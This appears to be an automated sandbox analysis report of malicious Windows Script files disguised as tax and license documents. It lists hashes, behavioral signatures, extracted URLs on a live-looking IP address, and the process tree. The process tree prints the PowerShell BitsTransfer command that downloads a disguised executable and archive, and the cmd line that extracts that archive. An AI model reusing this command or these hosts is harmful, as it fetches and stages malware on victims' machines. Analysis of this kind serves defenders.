Overview
overview
10Static
static
12O22-Tax-Returns.wsf
windows7-x64
102O22-Tax-Returns.wsf
windows10-2004-x64
10DRlVERS-LlCENSE.wsf
windows7-x64
10DRlVERS-LlCENSE.wsf
windows10-2004-x64
10PR0FlT&L0SS_2O23.wsf
windows7-x64
10PR0FlT&L0SS_2O23.wsf
windows10-2004-x64
10ScheduIe-K.wsf
windows7-x64
10ScheduIe-K.wsf
windows10-2004-x64
10Analysis
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max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
22/01/2024, 21:29
Static task
static1
Behavioral task
behavioral1
Sample
2O22-Tax-Returns.wsf
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2O22-Tax-Returns.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
DRlVERS-LlCENSE.wsf
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
DRlVERS-LlCENSE.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
PR0FlT&L0SS_2O23.wsf
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
PR0FlT&L0SS_2O23.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
ScheduIe-K.wsf
Resource
win7-20231129-en
General
-
Target
2O22-Tax-Returns.wsf
-
Size
22KB
-
MD5
98ee1c0d924160400ecef6a607233e71
-
SHA1
bf458f68d2080dfc3b3ab557c422e003f83a80e8
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SHA256
31474cb3c6ed64770b4930d9d0ba11edc9ba03b7c09d9a3798eb8b77a81ca50a
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SHA512
81e77e30dcd15edf8089eb4299c4e01914a889b90eb46ba99c90087e043832e0a6caaf7fcebd51905e31f14cdab5c042bb43de9d35078c92155197a84e370be7
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SSDEEP
384:eE3AcRO1fDgpRyeBNhQz0yFvYN5E3AcRO1fDgpRyeBNhQz0yFvYN/:x3bObgDyeHk0yFvYY3bObgDyeHk0yFvg
Malware Config
Extracted
http://176.107.185.29:666/Rar.jpg
http://176.107.185.29:666/load.rar
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 3 860 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2468 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2468 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 860 wrote to memory of 2468 860 WScript.exe 28 PID 860 wrote to memory of 2468 860 WScript.exe 28 PID 860 wrote to memory of 2468 860 WScript.exe 28 PID 860 wrote to memory of 2724 860 WScript.exe 31 PID 860 wrote to memory of 2724 860 WScript.exe 31 PID 860 wrote to memory of 2724 860 WScript.exe 31
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2O22-Tax-Returns.wsf"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-BitsTransfer -Source 'http://176.107.185.29:666/Rar.jpg' -Destination 'C:\Users\Public\Rar.exe'; Start-BitsTransfer -Source 'http://176.107.185.29:666/load.rar' -Destination 'C:\Users\Public\load.rar'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2468
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c Rar.exe x -p111 load.rar2⤵PID:2724
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